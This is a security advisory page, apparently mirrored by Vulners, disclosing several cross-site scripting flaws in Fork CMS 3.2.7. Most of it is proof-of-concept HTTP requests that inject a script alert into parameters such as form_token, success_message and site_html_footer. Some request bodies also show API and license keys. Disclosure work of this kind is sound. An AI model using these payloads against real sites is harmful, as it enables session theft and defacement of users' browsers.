Lucene search
K

Fork CMS 3.2.7 Multiple HTML Code Injection Vulnerabilities

🗓️ 06 Mar 2012 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 19 Views

Fork CMS 3.2.7 XSS Vulnerabilitie

Code
<html><body><p>Fork CMS 3.2.7 Multiple HTML Code Injection Vulnerabilities


Vendor: Fork CMS
Product web page: http://www.fork-cms.com
Affected version: 3.2.7 and 3.2.6

Summary: Fork is an open source cms that will rock your world.

Desc: Fork CMS suffers from multiple XSS vulnerabilities when
parsing user input to several parameters in different scripts,
via POST and GET methods. Attackers can exploit these weaknesses
to execute arbitrary HTML and script code in a user's browser
session.

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.21
           PHP 5.3.9
           MySQL 5.5.20


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience



Advisory ID: ZSL-2012-5076
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5076.php

Vendor: http://forkcms.lighthouseapp.com/projects/61890/tickets/277-multiple-cross-site-scripting-xss-vulnerabilities-in-fork-cms-327


26.02.2012

---

----------------------------

Parameter: form_token
Method: POST

 - POST /private/en/authentication/?querystring=/private/en HTTP/1.1
   Content-Length: 134
   Content-Type: application/x-www-form-urlencoded
   Cookie: PHPSESSID=t275j7es7rj2078a25o4m27lt0; interface_language=s%3A2%3A%22en%22%3B; track=s%3A32%3A%22b8cab7d50fd32c5dd3506d0c88edb795%22%3B
   Host: localhost:80
   Connection: Keep-alive
   Accept-Encoding: gzip,deflate
   User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

   backend_email=&amp;backend_password=&amp;form=authenticationIndex&amp;form_token="&gt;<script>alert("ZSL");</script>&amp;login=Log%20in

----------------------------

Parameter: value
Method: GET

 - http://localhost/private/en/locale/edit?id=37&amp;value="&gt;<script>alert("ZSL");</script>

----------------------------

Parameter: name
Method: GET

 - http://localhost/private/en/locale/edit?id=37&amp;name="&gt;<script>alert("ZSL");</script>

----------------------------

Parameter: type[]
Method: GET

 - http://localhost/private/en/locale/edit?id=37&amp;type[]="&gt;<script>alert("ZSL");</script>

----------------------------

Parameter: module
Method: GET

 - http://localhost/private/en/locale/edit?id=37&amp;module="&gt;<script>alert("ZSL");</script>

----------------------------

Parameter: application
Method: GET

 - http://localhost/private/en/locale/edit?id=37&amp;application="&gt;<script>alert("ZSL");</script>

----------------------------

Parameter: language
Method: GET

 - http://localhost/private/en/locale/edit?id=37&amp;language[]="&gt;<script>alert("ZSL");</script>

----------------------------

Parameters: position_1, position_2, position_3, position_4
Method: POST

 - POST http://localhost/private/en/extensions/edit_theme_template?token=true&amp;id=4 HTTP/1.1

   form=edit&amp;form_token=d75161cf347e7b12f53df4cf4082f27a&amp;theme=triton&amp;file=home.tpl&amp;label=Home&amp;position_0=&amp;type_0_0=0&amp;position_1="&gt;<script>alert("ZSL");</script>&amp;position_2=left&amp;position_3=right&amp;position_4=top&amp;type_4_0=1&amp;position_5=advertisement&amp;format=%5B%2F%2Cadvertisement%2Cadvertisement%2Cadvertisement%5D%2C%0D%0A%5B%2F%2C%2F%2Ctop%2Ctop%5D%2C%0D%0A%5B%2F%2C%2F%2C%2F%2C%2F%5D%2C%0D%0A%5Bmain%2Cmain%2Cmain%2Cmain%5D%2C%0D%0A%5Bleft%2Cleft%2Cright%2Cright%5D

----------------------------

Parameter: success_message
Method: POST

 - POST http://localhost/private/en/form_builder/edit?token=true&amp;id=1 HTTP/1.1

   form=edit&amp;form_token=&amp;id=1&amp;name=Contact&amp;method=database_email&amp;inputField-email%5B%[email protected]&amp;addValue-email=&amp;[email protected]&amp;success_message="&gt;<script>alert("ZSL");</script>&amp;identifier=contact-en

----------------------------

Parameter: smtp_password
Method: POST

 - POST http://localhost/private/en/settings/email HTTP/1.1

   form=settingsEmail&amp;form_token=&amp;mailer_type=mail&amp;mailer_from_name=Fork+CMS&amp;[email protected]&amp;mailer_to_name=Fork+CMS&amp;[email protected]&amp;mailer_reply_to_name=Fork+CMS&amp;[email protected]&amp;smtp_server=&amp;smtp_port=&amp;smtp_username=&amp;smtp_password="&gt;<script>alert("ZSL");</script>

----------------------------

Parameters: site_html_footer, site_html_header
Method: POST

 - POST http://localhost/private/en/settings/index HTTP/1.1

   form=settingsIndex&amp;form_token=&amp;site_title=My+website&amp;site_html_header=&amp;site_html_footer="&gt;<script>alert("ZSL");</script>&amp;time_format=H%3Ai&amp;date_format_short=j.n.Y&amp;date_format_long=l+j+F+Y&amp;number_format=dot_nothing&amp;fork_api_public_key=f697aac745257271d83bea80f965e3c1&amp;fork_api_private_key=6111a761ec566d325a623e0dcaf614e2&amp;akismet_key=&amp;ckfinder_license_name=Fork+CMS&amp;ckfinder_license_key=QJH2-32UV-6VRM-V6Y7-A91J-W26Z-3F8R&amp;ckfinder_image_max_width=1600&amp;ckfinder_image_max_height=1200&amp;addValue-facebookAdminIds=&amp;facebook_admin_ids=&amp;facebook_application_id=&amp;facebook_application_secret=

----------------------------


</p></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation